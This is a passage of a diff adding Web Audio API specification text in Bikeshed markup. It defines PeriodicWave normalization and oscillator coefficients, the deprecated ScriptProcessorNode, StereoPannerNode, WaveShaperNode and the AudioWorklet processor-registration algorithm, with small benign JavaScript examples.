+			context: The {{BaseAudioContext}} this new {{PeriodicWave}} will be <a href="#associated">associated</a> with. Unlike {{AudioBuffer}}, {{PeriodicWave}}s can't be shared accross {{AudioContext}}s or {{OfflineAudioContext}}s. It is associated with a particular {{BaseAudioContext}}.
+			options: Optional initial parameter value for this {{PeriodicWave}}.
+		</pre>
+</dl>
+
+<h4 dictionary lt="periodicwaveconstraints" id="PeriodicWaveConstraints">
+{{PeriodicWaveConstraints}}</h4>
+
+The {{PeriodicWaveConstraints}} dictionary is used to
+specify how the waveform is [[#waveform-normalization|normalized]].
+
+<pre class="idl">
+dictionary PeriodicWaveConstraints {
+	boolean disableNormalization = false;
+};
+</pre>
+
+<h5 id="dictionary-periodicwaveconstraints-members">
+Dictionary {{PeriodicWaveConstraints}} Members</h5>
+
+<dl dfn-type=dict-member dfn-for="PeriodicWaveConstraints">
+	: <dfn>disableNormalization</dfn>
+	::
+		Controls whether the periodic wave is normalized or not. If
+		`true`, the waveform is not normalized; otherwise,
+		the waveform is normalized.
+</dl>
+
+<h4 dictionary lt="periodicwaveoptions" id="PeriodicWaveOptions">
+{{PeriodicWaveOptions}}</h4>
+
+The {{PeriodicWaveOptions}} dictionary is used to specify
+how the waveform is constructed. If only one of {{PeriodicWaveOptions/real}}
+or {{PeriodicWaveOptions/imag}} is specified. The other is treated as if it
+were an array of all zeroes of the same length, as specified below
+in <a href="#dictionary-periodicwaveoptions-members">description of
+the dictionary members</a>. If neither is given, a
+{{PeriodicWave}} is created that MUST be equivalent
+to an {{OscillatorNode}} with
+{{OscillatorNode/type}} "{{OscillatorType/sine}}". If
+both are given, the sequences must have the same length; otherwise
+an <span class="synchronous">error of type
+{{NotSupportedError}} MUST be thrown</span>.
+
+<xmp class="idl">
+dictionary PeriodicWaveOptions : PeriodicWaveConstraints {
+	sequence<float> real;
+	sequence<float> imag;
+};
+</xmp>
+
+<h5 id="dictionary-periodicwaveoptions-members">
+Dictionary {{PeriodicWaveOptions}} Members</h5>
+
+<dl dfn-type=dict-member dfn-for="PeriodicWaveOptions">
+	: <dfn>imag</dfn>
+	::
+		The {{PeriodicWaveOptions/imag}} parameter represents an array of
+		<code>sine</code> terms. The first element (index 0) does not
+		exist in the Fourier series.  The second element
+		(index 1) represents the fundamental frequency.  The
+		third represents the first overtone and so on.
+
+	: <dfn>real</dfn>
+	::
+		The {{PeriodicWaveOptions/real}} parameter represents an array of
+		<code>cosine</code> terms. The first element (index 0) is the
+		DC-offset of the periodic waveform. The second element
+		(index 1) represents the fundmental frequency.  The
+		third represents the first overtone and so on.
+</dl>
+
+<h4 id="waveform-generation">
+Waveform Generation</h4>
+
+The {{BaseAudioContext/createPeriodicWave()}}
+method takes two arrays to specify the Fourier coefficients of the
+{{PeriodicWave}}. Let \(a\) and \(b\) represent the {{[[real]]}} and {{[[imag]]}}
+arrays of length \(L\), respectively. Then the basic time-domain waveform,
+\(x(t)\), can be computed using:
+
+<pre nohighlight>
+$$
+	x(t) = \sum_{k=1}^{L-1} \left[a[k]\cos2\pi k t + b[k]\sin2\pi k t\right]
+$$
+</pre>
+
+This is the basic (unnormalized) waveform.
+
+
+<h4 id="waveform-normalization">
+Waveform Normalization</h4>
+
+If the internal slot {{[[normalize]]}} of this
+{{PeriodicWave}} is `true` (the default), the
+waveform defined in the previous section is normalized so that the
+maximum value is 1. The normalization is done as follows.
+
+Let
+
+<pre nohighlight>
+$$
+	\tilde{x}(n) = \sum_{k=1}^{L-1} \left(a[k]\cos\frac{2\pi k n}{N} + b[k]\sin\frac{2\pi k n}{N}\right)
+$$
+</pre>
+
+where \(N\) is a power of two. (Note: \(\tilde{x}(n)\) can
+conveniently be computed using an inverse FFT.) The fixed
+normalization factor \(f\) is computed as follows.
+
+<pre nohighlight>
+$$
+	f = \max_{n = 0, \ldots, N - 1} |\tilde{x}(n)|
+$$
+</pre>
+
+Thus, the actual normalized waveform \(\hat{x}(n)\) is:
+
+<pre nohighlight>
+$$
+	\hat{x}(n) = \frac{\tilde{x}(n)}{f}
+$$
+</pre>
+
+This fixed normalization factor MUST be applied to all generated
+waveforms.
+
+<h4 id="oscillator-coefficients">
+Oscillator Coefficients</h4>
+
+The builtin oscillator types are created using {{PeriodicWave}}
+objects. For completeness the coefficients for the {{PeriodicWave}} for
+each of the builtin oscillator types is given here. This is useful
+if a builtin type is desired but without the default normalization.
+
+In the following descriptions, let \(a\) be the array of real
+coefficients and \(b\) be the array of imaginary coefficients for
+{{BaseAudioContext/createPeriodicWave()}}. In
+all cases \(a[n] = 0\) for all \(n\) because the waveforms are odd
+functions. Also, \(b[0] = 0\) in all cases. Hence, only \(b[n]\)
+for \(n \ge 1\) is specified below.
+
+<dl link-for="OscillatorType">
+	: "{{sine}}"
+	::
+		<pre nohighlight>
+		$$
+			b[n] = \begin{cases}
+							 1 &amp; \mbox{for } n = 1 \\
+							 0 &amp; \mbox{otherwise}
+						 \end{cases}
+		$$
+		</pre>
+
+	: "{{square}}"
+	::
+		<pre nohighlight>
+		$$
+			b[n] = \frac{2}{n\pi}\left[1 - (-1)^n\right]
+		$$
+		</pre>
+
+	: "{{sawtooth}}"
+	::
+		<pre nohighlight>
+		$$
+			b[n] = (-1)^{n+1} \dfrac{2}{n\pi}
+		$$
+		</pre>
+
+	: "{{triangle}}"
+	::
+		<pre nohighlight>
+		$$
+			b[n] = \frac{8\sin\dfrac{n\pi}{2}}{(\pi n)^2}
+		$$
+		</pre>
+</dl>
+
+
+<!-- Big Text: Script -->
+<!-- Big Text: Processor -->
+
+<h3 interface lt="scriptprocessornode" id="ScriptProcessorNode">
+The {{ScriptProcessorNode}} Interface - DEPRECATED</h3>
+
+This interface is an {{AudioNode}} which can
+generate, process, or analyse audio directly using a script. This
+node type is deprecated, to be replaced by the
+{{AudioWorkletNode}}; this text is only here for informative
+purposes until implementations remove this node type.
+
+<pre class=include>
+path: audionode.include
+macros:
+	noi: 1
+	noo: 1
+	cc: {{BaseAudioContext/createScriptProcessor(bufferSize, numberOfInputChannels, numberOfOutputChannels)/numberOfInputChannels}}
+	cc-notes: This is the number of channels specified when constructing this node. There are <a>channelCount constraints</a>.
+	cc-mode: explicit
+	cc-mode-notes:  Has <a>channelCountMode constraints</a>
+	cc-interp: speakers
+	tail-time: No
+</pre>
+
+The {{ScriptProcessorNode}} is constructed with a
+{{BaseAudioContext/createScriptProcessor(bufferSize, numberOfInputChannels, numberOfOutputChannels)/bufferSize}} which MUST be one of the following values: 256,
+512, 1024, 2048, 4096, 8192, 16384. This value controls how
+frequently the {{ScriptProcessorNode/onaudioprocess}} event is dispatched and how
+many sample-frames need to be processed each call. {{ScriptProcessorNode/onaudioprocess}} events are only
+dispatched if the {{ScriptProcessorNode}} has at
+least one input or one output connected. Lower numbers for
+{{ScriptProcessorNode/bufferSize}} will result in
+a lower (better) <a href="#latency">latency</a>. Higher numbers will
+be necessary to avoid audio breakup and <a href="#audio-glitching">glitches</a>. This value will be picked by the
+implementation if the bufferSize argument to
+{{createScriptProcessor()}} is not passed in, or is set to 0.
+
+{{numberOfInputChannels}} and {{numberOfOutputChannels}}
+determine the number of input and output channels. It is invalid for
+both {{numberOfInputChannels}} and {{numberOfOutputChannels}}
+to be zero.
+
+<pre class="idl">
+[Exposed=Window]
+interface ScriptProcessorNode : AudioNode {
+	attribute EventHandler onaudioprocess;
+	readonly attribute long bufferSize;
+};
+</pre>
+
+<h4 id="ScriptProcessorNode-attributes">
+Attributes</h4>
+
+<dl dfn-type=attribute dfn-for="ScriptProcessorNode">
+	: <dfn>bufferSize</dfn>
+	::
+		The size of the buffer (in sample-frames) which needs to be
+		processed each time {{ScriptProcessorNode/onaudioprocess}} is called.
+		Legal values are (256, 512, 1024, 2048, 4096, 8192, 16384).
+
+	: <dfn>onaudioprocess</dfn>
+	::
+		A property used to set the <code>EventHandler</code> (described
+		in <cite><a href="https://html.spec.whatwg.org/multipage/webappapis.html#eventhandler">
+		HTML</a></cite>[[!HTML]]) for the {{ScriptProcessorNode/onaudioprocess}} event that
+		is dispatched to {{ScriptProcessorNode}} node
+		types. An event of type {{AudioProcessingEvent}}
+		will be dispatched to the event handler.
+</dl>
+
+
+<!-- Big Text: Stereo -->
+<!-- Big Text: Panner -->
+
+<h3 interface lt="stereopannernode" id="StereoPannerNode">
+The {{StereoPannerNode}} Interface</h3>
+
+This interface represents a processing node which positions an
+incoming audio stream in a stereo image using <a href="#stereopanner-algorithm">a low-cost panning
+algorithm</a>. This panning effect is common in positioning audio
+components in a stereo stream.
+
+<pre class=include>
+path: audionode.include
+macros:
+	noi: 1
+	noo: 1
+	cc: 2
+	cc-notes: Has <a>channelCount constraints</a>
+	cc-mode: clamped-max
+	cc-mode-notes: Has <a>channelCountMode constraints</a>
+	cc-interp: speakers
+	tail-time: No
+</pre>
+
+The input of this node is stereo (2 channels) and cannot be
+increased. Connections from nodes with fewer or more channels will be
+<a href="#channel-up-mixing-and-down-mixing">up-mixed or down-mixed
+appropriately</a>.
+
+The output of this node is hard-coded to stereo (2 channels) and
+cannot be configured.
+
+<pre class="idl">
+[Exposed=Window]
+interface StereoPannerNode : AudioNode {
+	constructor (BaseAudioContext context, optional StereoPannerOptions options = {});
+	readonly attribute AudioParam pan;
+};
+</pre>
+
+<h4 id="StereoPannerNode-constructors">
+Constructors</h4>
+
+<dl dfn-type=constructor dfn-for="StereoPannerNode">
+	: <dfn>StereoPannerNode(context, options)</dfn>
+	::
+
+		<pre class=include>
+			path: audionode-init.include
+		</pre>
+
+		<pre class=argumentdef for="StereoPannerNode/constructor()">
+			context: The {{BaseAudioContext}} this new {{StereoPannerNode}} will be <a href="#associated">associated</a> with.
+			options: Optional initial parameter value for this {{StereoPannerNode}}.
+		</pre>
+</dl>
+
+<h4 id="StereoPannerNode-attributes">
+Attributes</h4>
+
+<dl dfn-type=attribute dfn-for="StereoPannerNode">
+	: <dfn>pan</dfn>
+	::
+		The position of the input in the output's stereo image. -1
+		represents full left, +1 represents full right.
+
+		<pre class=include>
+		path: audioparam.include
+		macros:
+			default: 0
+			min: -1
+			max: 1
+			rate: "{{AutomationRate/a-rate}}"
+		</pre>
+</dl>
+
+<h4 dictionary lt="stereopanneroptions" id="StereoPannerOptions">
+{{StereoPannerOptions}}</h4>
+
+This specifies the options to use in constructing a
+{{StereoPannerNode}}. All members are optional; if
+not specified, the normal default is used in constructing the node.
+
+<pre class="idl">
+dictionary StereoPannerOptions : AudioNodeOptions {
+	float pan = 0;
+};
+</pre>
+
+<h5 id="dictionary-stereopanneroptions-members">
+Dictionary {{StereoPannerOptions}} Members</h5>
+
+<dl dfn-type=dict-member dfn-for="StereoPannerOptions">
+	: <dfn>pan</dfn>
+	:: The initial value for the {{StereoPannerNode/pan}} AudioParam.
+</dl>
+
+<h4 id="StereoPanner-channel-limitations">
+Channel Limitations</h4>
+
+Because its processing is constrained by the above definitions,
+{{StereoPannerNode}} is limited to mixing no more
+than 2 channels of audio, and producing exactly 2 channels. It is
+possible to use a {{ChannelSplitterNode}},
+intermediate processing by a subgraph of
+{{GainNode}}s and/or other nodes, and recombination
+via a {{ChannelMergerNode}} to realize arbitrary
+approaches to panning and mixing.
+
+
+<!-- Big Text: Wave -->
+<!-- Big Text: Shaper -->
+
+<h3 interface lt="waveshapernode" id="WaveShaperNode">
+The {{WaveShaperNode}} Interface</h3>
+
+{{WaveShaperNode}} is an
+{{AudioNode}} processor implementing non-linear
+distortion effects.
+
+Non-linear waveshaping distortion is commonly used for both subtle
+non-linear warming, or more obvious distortion effects. Arbitrary
+non-linear shaping curves may be specified.
+
+<pre class=include>
+path: audionode.include
+macros:
+	noi: 1
+	noo: 1
+	cc: 2
+	cc-mode: max
+	cc-interp: speakers
+	tail-time: Maybe
+	tail-time-notes: There is a <a>tail-time</a> only if the {{WaveShaperNode/oversample}} attribute is set to "{{OverSampleType/2x}}" or "{{OverSampleType/4x}}". The actual duration of this <a>tail-time</a> depends on the implementation.
+</pre>
+
+The number of channels of the output always equals the number of
+channels of the input.
+
+<pre class="idl">
+enum OverSampleType {
+	"none",
+	"2x",
+	"4x"
+};
+</pre>
+
+<div class="enum-description">
+<table class="simple" dfn-type=enum-value dfn-for="OverSampleType">
+	<thead>
+		<tr><th scope="col" colspan="2">Enumeration description
+	<tbody>
+		<tr><td>"<dfn>none</dfn>"
+			<td>Don't oversample
+
+		<tr><td>"<dfn>2x</dfn>"
+			<td>Oversample two times
+
+		<tr><td>"<dfn>4x</dfn>"
+			<td>Oversample four times
+</table>
+</div>
+
+<pre class="idl">
+[Exposed=Window]
+interface WaveShaperNode : AudioNode {
+	constructor (BaseAudioContext context, optional WaveShaperOptions options = {});
+	attribute Float32Array? curve;
+	attribute OverSampleType oversample;
+};
+</pre>
+
+<h4 id="WaveShaperNode-constructors">
+Constructors</h4>
+
+<dl dfn-type=constructor dfn-for="WaveShaperNode">
+	: <dfn>WaveShaperNode(context, options)</dfn>
+	::
+
+		<pre class=include>
+			path: audionode-init.include
+		</pre>
+
+		Also, let <dfn attribute for="WaveShaperNode">[[curve set]]</dfn> be an internal
+		slot of this {{WaveShaperNode}}.  Initialize this slot to <code>false</code>.  If
+		{{WaveShaperNode/constructor(context, options)/options}} is given and specifies a
+		{{WaveShaperOptions/curve}}, set {{[[curve set]]}} to <code>true</code>.
+
+		<pre class=argumentdef for="WaveShaperNode/constructor()">
+			context: The {{BaseAudioContext}} this new {{WaveShaperNode}} will be <a href="#associated">associated</a> with.
+			options: Optional initial parameter value for this {{WaveShaperNode}}.
+		</pre>
+</dl>
+
+<h4 id="WaveShaperNode-attributes">
+Attributes</h4>
+
+<dl dfn-type=attribute dfn-for="WaveShaperNode">
+	: <dfn>curve</dfn>
+	::
+		The shaping curve used for the waveshaping effect. The input
+		signal is nominally within the range [-1, 1]. Each input sample
+		within this range will index into the shaping curve, with a
+		signal level of zero corresponding to the center value of the
+		curve array if there are an odd number of entries, or
+		interpolated between the two centermost values if there are an
+		even number of entries in the array. Any sample value less than
+		-1 will correspond to the first value in the curve array. Any
+		sample value greater than +1 will correspond to the last value
+		in the curve array.
+
+		The implementation MUST perform linear interpolation between
+		adjacent points in the curve. Initially the curve attribute is
+		null, which means that the WaveShaperNode will pass its input
+		to its output without modification.
+
+		Values of the curve are spread with equal spacing in the [-1;
+		1] range. This means that a {{WaveShaperNode/curve}} with a
+		even number of value will not have a value for a signal at
+		zero, and a {{WaveShaperNode/curve}} with an odd number of
+		value will have a value for a signal at zero.  The
+		output is determined by the following algorithm.
+
+		<div algorithm="wave-shaper-curve">
+			1. Let \(x\) be the input sample, \(y\) be the
+				corresponding output of the node,
+				\(c_k\) be the \(k\)'th element of the
+				{{WaveShaperNode/curve}}, and \(N\) be
+				the length of the
+				{{WaveShaperNode/curve}}.
+
+			1. Let
+				<pre nohighlight>
+				$$
+					\begin{align*}
+					v &= \frac{N-1}{2}(x + 1) \\
+					k &= \lfloor v \rfloor \\
+					f &= v - k
+					\end{align*}
+				$$
+				</pre>
+			1. Then
+				<pre nohighlight>
+				$$
+					\begin{align*}
+					y &=
+						\begin{cases}
+						c_0 & v \lt 0 \\
+						c_{N-1} & v \ge N - 1 \\
+						(1-f)\,c_k + fc_{k+1} & \mathrm{otherwise}
+						\end{cases}
+					\end{align*}
+				$$
+				</pre>
+		</div>
+
+		<span class="synchronous">A {{InvalidStateError}} MUST be thrown if this
+		attribute is set with a {{Float32Array}} that has a
+		<code>length</code> less than 2.</span>
+
+		When this attribute is set, an internal copy of the curve is
+		created by the {{WaveShaperNode}}. Subsequent
+		modifications of the contents of the array used to set the
+		attribute therefore have no effect.
+
+		<div algorithm="WaveShaperNode.curve">
+			To set the {{WaveShaperNode/curve}} attribute, execute these steps:
+
+			1. Let <var>new curve</var> be a {{Float32Array}} to be assigned to {{WaveShaperNode/curve}} or <code>null</code>.
+				.
+
+			2. If <var>new curve</var> is not <code>null</code> and
+				{{WaveShaperNode/[[curve set]]}} is true, throw an
+				{{InvalidStateError}} and abort these steps.
+
+			3. If <var>new curve</var> is not <code>null</code>, set
+				{{WaveShaperNode/[[curve set]]}} to true.
+
+			4. Assign <var>new curve</var> to the {{WaveShaperNode/curve}}
+				attribute.
+		</div>
+
+		Note: The use of a curve that produces a non-zero
+		output value for zero input value will cause this node
+		to produce a DC signal even if there are no inputs
+		connected to this node. This will persist until the
+		node is disconnected from downstream nodes.
+
+	: <dfn>oversample</dfn>
+	::
+		Specifies what type of oversampling (if any) should be used
+		when applying the shaping curve. The default value is "{{none}}",
+		meaning the curve will be applied directly to the input
+		samples. A value of "{{2x}}" or "{{4x}}" can improve the quality of the
+		processing by avoiding some aliasing, with the "{{4x}}" value
+		yielding the highest quality. For some applications, it's
+		better to use no oversampling in order to get a very precise
+		shaping curve.
+
+		<div algorithm="oversample">
+			A value of "{{2x}}" or "{{4x}}" means that the following steps MUST be
+			performed:
+
+			1. Up-sample the input samples to 2x or 4x the sample-rate of
+				the {{AudioContext}}. Thus for each <a>render
+				quantum</a>, generate 256 (for 2x) or 512 (for 4x) samples.
+
+			2. Apply the shaping curve.
+
+			3. Down-sample the result back to the sample-rate of the
+				{{AudioContext}}. Thus taking the 256 (or 512)
+				processed samples, generating 128 as the final result.
+		</div>
+
+		The exact up-sampling and down-sampling filters are not
+		specified, and can be tuned for sound quality (low aliasing,
+		etc.), low latency, or performance.
+
+		Note: Use of oversampling introduces some degree of audio processing
+		latency due to the up-sampling and down-sampling filters. The
+		amount of this latency can vary from one implementation to
+		another.
+</dl>
+
+<h4 dictionary lt="waveshaperoptions" id="WaveShaperOptions">
+{{WaveShaperOptions}}</h4>
+
+This specifies the options for constructing a
+{{WaveShaperNode}}. All members are optional; if
+not specified, the normal default is used in constructing the node.
+
+<xmp class="idl">
+dictionary WaveShaperOptions : AudioNodeOptions {
+	sequence<float> curve;
+	OverSampleType oversample = "none";
+};
+</xmp>
+
+<h5 id="dictionary-waveshaperoptions-members">
+Dictionary {{WaveShaperOptions}} Members</h5>
+
+<dl dfn-type=dict-member dfn-for="WaveShaperOptions">
+	: <dfn>curve</dfn>
+	:: The shaping curve for the waveshaping effect.
+
+	: <dfn>oversample</dfn>
+	:: The type of oversampling to use for the shaping curve.
+</dl>
+
+
+<!-- Big Text: AudioWorklet -->
+
+<h3 interface lt="audioworklet" id="AudioWorklet">
+The {{AudioWorklet}} Interface</h3>
+
+<pre class="idl">
+[Exposed=Window, SecureContext]
+interface AudioWorklet : Worklet {
+};
+</pre>
+
+<h4 id="AudioWorklet-concepts">
+Concepts</h4>
+
+The {{AudioWorklet}} object allows developers to supply scripts
+(such as JavaScript or WebAssembly code) to process audio on the
+<a>rendering thread</a>, supporting custom {{AudioNode}}s. This
+processing mechanism ensures synchronous execution of the
+script code with other built-in {{AudioNode}}s in the audio
+graph.
+
+An associated pair of objects MUST be defined in order to realize
+this mechanism: {{AudioWorkletNode}} and
+{{AudioWorkletProcessor}}. The former represents the interface
+for the main global scope similar to other {{AudioNode}}
+objects, and the latter implements the internal audio processing
+within a special scope named {{AudioWorkletGlobalScope}}.
+
+<figure>
+	<img alt="AudioWorklet concept" src="images/audioworklet-concept.png" width="756" height="144">
+	<figcaption>
+		{{AudioWorkletNode}} and
+		{{AudioWorkletProcessor}}
+	</figcaption>
+</figure>
+
+Each {{BaseAudioContext}} possesses exactly one
+{{AudioWorklet}}.
+
+The {{AudioWorklet}}'s <a>worklet global scope type</a> is
+{{AudioWorkletGlobalScope}}.
+
+The {{AudioWorklet}}'s <a>worklet destination type</a> is
+<code>"audioworklet"</code>.
+
+Importing a script via the {{addModule()|addModule(moduleUrl)}}
+method registers class definitions of {{AudioWorkletProcessor}}
+under the {{AudioWorkletGlobalScope}}. There are two internal
+storage areas for the imported class constructor and the active
+instances created from the constructor.
+
+{{AudioWorklet}} has one internal slot:
+
+- <dfn>node name to parameter descriptor map</dfn> which is a map containing
+	an identical set of string keys from <a>node name to processor
+	constructor map</a> that are associated with the matching
+	<a>parameterDescriptors</a> values. This internal storage is
+	populated as a consequence of calling the {{registerProcessor()}}
+	method in the <a>rendering thread</a>. The population is guaranteed
+	to complete prior to the resolution of the promise returned by
+	{{addModule()}} on a context's {{BaseAudioContext/audioWorklet}}.
+
+<pre class="example" highlight="js" title="Registering an AudioWorkletProcessor class definition">
+// bypass-processor.js script file, runs on AudioWorkletGlobalScope
+class BypassProcessor extends AudioWorkletProcessor {
+	process (inputs, outputs) {
+		// Single input, single channel.
+		const input = inputs[0];
+		const output = outputs[0];
+		output[0].set(input[0]);
+
+		// Process only while there are active inputs.
+		return false;
+	}
+};
+
+registerProcessor('bypass-processor', BypassProcessor);
+</pre>
+
+<pre class="example" highlight="js" title="Importing a script and creating AudioWorkletNode">
+// The main global scope
+const context = new AudioContext();
+context.audioWorklet.addModule('bypass-processor.js').then(() =&gt; {
+	const bypassNode = new AudioWorkletNode(context, 'bypass-processor');
+});
+</pre>
+
+At the instantiation of {{AudioWorkletNode}} in the main global
+scope, the counterpart {{AudioWorkletProcessor}} will also be
+created in {{AudioWorkletGlobalScope}}. These two objects
+communicate via the asynchronous message passing described in
+[[#processing-model]].
+
+<h4 interface lt="audioworkletglobalscope" id="AudioWorkletGlobalScope">
+The {{AudioWorkletGlobalScope}} Interface</h4>
+
+This special execution context is designed to enable the
+generation, processing, and analysis of audio data directly using a
+script in the audio <a>rendering thread</a>. The user-supplied
+script code is evaluated in this scope to define one or more
+{{AudioWorkletProcessor}} subclasses, which in turn are used to
+instantiate {{AudioWorkletProcessor}}s, in a 1:1 association
+with {{AudioWorkletNode}}s in the main scope.
+
+Exactly one {{AudioWorkletGlobalScope}} exists for each
+{{AudioContext}} that contains one or more
+{{AudioWorkletNode}}s. The running of imported scripts is
+performed by the UA as defined in [[!HTML]]. Overriding the default
+specified in [[!HTML]], {{AudioWorkletGlobalScope}}s must not be
+[=terminate a worklet global scope|terminated=] arbitrarily by the user
+agent.
+
+An {{AudioWorkletGlobalScope}} has the following internal slots:
+
+- <dfn>node name to processor constructor map</dfn> which is a map
+	that stores key-value pairs of
+	<em>processor name</em> →
+	<em>{{AudioWorkletProcessorConstructor}}</em> instance.
+	Initially this map is empty and populated when the
+	{{registerProcessor()}} method is called.
+- <dfn>pending processor construction data</dfn> stores temporary data
+	generated by the {{AudioWorkletNode}} constructor for the
+	instantiation of the corresponding {{AudioWorkletProcessor}}. The
+	[=pending processor construction data=] contains the following items:
+	- <dfn for="pending processor construction data">node reference</dfn>
+		which is initially empty. This storage is for an
+		{{AudioWorkletNode}} reference that is transferred from the
+		{{AudioWorkletNode}} constructor.
+	- <dfn for="pending processor construction data">transferred port</dfn>
+		which is initially empty. This storage is for a deserialized
+		{{MessagePort}} that is transferred from the
+		{{AudioWorkletNode}} constructor.
+
+Note: The {{AudioWorkletGlobalScope}} may also contain any other data
+and code to be shared by these instances. As an example, multiple
+processors might share an ArrayBuffer defining a wavetable or an
+impulse response.
+
+Note: An {{AudioWorkletGlobalScope}} is associated with a single
+{{BaseAudioContext}}, and with a single audio rendering thread
+for that context. This prevents data races from occurring in global
+scope code running within concurrent threads.
+
+<pre class="idl">
+callback AudioWorkletProcessorConstructor = AudioWorkletProcessor (object options);
+
+[Global=(Worklet, AudioWorklet), Exposed=AudioWorklet]
+interface AudioWorkletGlobalScope : WorkletGlobalScope {
+	undefined registerProcessor (DOMString name,
+	                             AudioWorkletProcessorConstructor processorCtor);
+	readonly attribute unsigned long long currentFrame;
+	readonly attribute double currentTime;
+	readonly attribute float sampleRate;
+};
+</pre>
+
+<h5 id="AudioWorkletGlobalScope-attributes">
+Attributes</h5>
+
+<dl dfn-type=attribute dfn-for="AudioWorkletGlobalScope">
+	: <dfn>currentFrame</dfn>
+	::
+		The current frame of the block of audio being
+		processed. This must be equal to the value of the
+		{{[[current frame]]}} internal slot of the
+		{{BaseAudioContext}}.
+
+	: <dfn>currentTime</dfn>
+	::
+		The context time of the block of audio being processed. By
+		definition this will be equal to the value of
+		{{BaseAudioContext}}'s {{BaseAudioContext/currentTime}} attribute that was most
+		recently observable in the <a>control thread</a>.
+
+	: <dfn>sampleRate</dfn>
+	::
+		The sample rate of the associated {{BaseAudioContext}}.
+</dl>
+
+<h5 id="AudioWorkletGlobalScope-methods">
+Methods</h5>
+
+<dl dfn-type=method dfn-for="AudioWorkletGlobalScope">
+	: <dfn>registerProcessor(name, processorCtor)</dfn>
+	::
+		Registers a class constructor derived from
+		{{AudioWorkletProcessor}}.
+
+		<div algorithm="AudioWorkletGlobalScope.registerProcess(name, processorCtr)">
+			When the {{AudioWorkletGlobalScope/registerProcessor(name, processorCtor)}}
+			method is called, perform the following steps. If an
+			exception is thrown in any step, abort the remaining
+			steps.
+
+			1. If <var>name</var> is an empty string,
+				<span class="synchronous">throw a
+				{{NotSupportedError}}</span>.
+
+			1. If <var>name</var> already exists as a key in the
+				<a>node name to processor constructor map</a>,
+				<span class="synchronous">throw a
+				{{NotSupportedError}}</span>.
+
+			1. If the result of
+				<code><a href="https://tc39.es/ecma262#sec-isconstructor">IsConstructor</a>(argument=<var>processorCtor</var>)</code>
+				is <code>false</code>,
+				<span class="synchronous">throw a {{TypeError}}
+				</span>.
+
+			1. Let <code><em>prototype</em></code> be the result of
+				<code><a href="https://tc39.es/ecma262#sec-get-o-p">
+				Get</a>(O=<i>processorCtor</i>,
+				P="prototype")</code>.
+
+			1. If the result of
+				<code><a href="https://tc39.es/ecma262#sec-ecmascript-data-types-and-values">Type</a>(argument=<i>prototype</i>)</code>
+				is not <code>Object</code>,
+				<span class="synchronous">throw a {{TypeError}}
+				</span>.
+
+			1. Let <var>parameterDescriptorsValue</var> be the
+				result of
+				<code><a href="https://tc39.es/ecma262#sec-get-o-p">Get</a>(O=<i>processorCtor</i>, P="parameterDescriptors")</code>.
+
+			1. If <var>parameterDescriptorsValue</var> is not {{undefined}},
+				execute the following steps:
+
+				1. Let <var>parameterDescriptorSequence</var>
+					be the result of
+					<a href="https://heycam.github.io/webidl/#es-to-sequence">
+					the conversion</a> from
+					<var>parameterDescriptorsValue</var>
+					to an IDL value of type
+					<code>sequence&lt;AudioParamDescriptor&gt;</code>.
+
+				1. Let <var>paramNames</var> be an empty Array.
+
+				1. <div id="steps-parameterDescriptorSequence"></div>
+					For each <var>descriptor</var> of
+					<var>parameterDescriptorSequence</var>:
+					1. Let <var>paramName</var> be the value of
+						the member {{AudioParamDescriptor/name}}
+						in <var>descriptor</var>. <span class="synchronous">Throw
+						a {{NotSupportedError}}</span> if
+						<var>paramNames</var> already
+						contains <var>paramName</var> value.
+
+					1. Append <var>paramName</var> to
+						the <var>paramNames</var> array.
+
+					1. Let <var>defaultValue</var> be the value of
+						the member
+						{{AudioParamDescriptor/defaultValue}}
+						in <var>descriptor</var>.
+
+					1. Let <var>minValue</var> be the value of
+						the member
+						{{AudioParamDescriptor/minValue}}
+						in <var>descriptor</var>.
+
+					1. Let <var>maxValue</var> be the value of
+						the member
+						{{AudioParamDescriptor/maxValue}}
+						in <var>descriptor</var>.
+
+					1. If the expresstion
+						<var>minValue</var> &lt;=
+						<var>defaultValue</var> &lt;=
+						<var>maxValue</var> is false,
+						<span class="synchronous">throw
+						an {{InvalidStateError}}</span>.
+
+			1. Append the key-value pair <var>name</var> →
+				<var>processorCtor</var> to
+				<a>node name to processor constructor map</a>
+				of the associated {{AudioWorkletGlobalScope}}.
+
+			1. <a href="https://html.spec.whatwg.org/multipage/media.html#queue-a-media-element-task">
+				queue a media element task</a> to append the key-value pair |name| →
+				|parameterDescriptorSequence| to the <a>node name to parameter descriptor map</a> of the
+				associated {{BaseAudioContext}}.
+		</div>
+
+		Note: The class constructor should only be looked up once, thus it
+		does not have the opportunity to dynamically change after registration.
+
+		<pre class=argumentdef for="AudioWorkletGlobalScope/registerProcessor(name, processorCtor)">
+			name: A string key that represents a class constructor to be registered. This key is used to look up the constructor of {{AudioWorkletProcessor}} during construction of an {{AudioWorkletNode}}.
+			processorCtor: A class constructor extended from {{AudioWorkletProcessor}}.
+		</pre>
+
+		<div>
+			<em>Return type:</em> {{undefined}}
+		</div>
+</dl>
+
+<h5 id="AudioWorkletProcessor-instantiation">
+The instantiation of {{AudioWorkletProcessor}}</h5>
+
+At the end of the {{AudioWorkletNode}} construction,
+A [=struct=] named
+<dfn>processor construction data</dfn>
+will be prepared for cross-thread transfer. This
+<a spec="infra" lt="struct">struct</a> contains the following
+<a spec="infra" for="struct" lt="item">items</a>:
+
+- <dfn for="processor construction data">name</dfn> which is a {{DOMString}}
+	that is to be looked up in the
+	<a>node name to processor constructor map</a>.
+- <dfn for="processor construction data">node</dfn> which is a reference to
+	the {{AudioWorkletNode}} created.
+- <dfn for="processor construction data">options</dfn> which is a serialized
+	{{AudioWorkletNodeOptions}} given to the {{AudioWorkletNode}}'s
+	{{AudioWorkletNode()|constructor}}.
+- <dfn for="processor construction data">port</dfn> which is a serialized
+	{{MessagePort}} paired with the {{AudioWorkletNode}}'s
+	{{AudioWorkletNode/port}}.
+
+Upon the arrival of the transferred data on the {{AudioWorkletGlobalScope}},
+the <a>rendering thread</a> will invoke the algorithm below:
+
+	<div id="invoking-processor-constructor" algorithm="invoking processor constructor">
+		1. Let <var>constructionData</var> be the
+			[=processor construction data=] transferred from the
+			[=control thread=].
+
+		1. Let <var>processorName</var>, <var>nodeReference</var> and
+			<var>serializedPort</var> be
+			<var>constructionData</var>'s
+			[=processor construction data/name=],
+			[=processor construction data/node=], and
+			[=processor construction data/port=] respectively.
+
+		1. Let <var>serializedOptions</var> be
+			<var>constructionData</var>'s
+			[=processor construction data/options=].
+
+		1. Let <var>deserializedPort</var> be the result of
+			[$StructuredDeserialize$](<var>serializedPort</var>,
+			the current Realm).
+
+		1. Let <var>deserializedOptions</var> be the result of
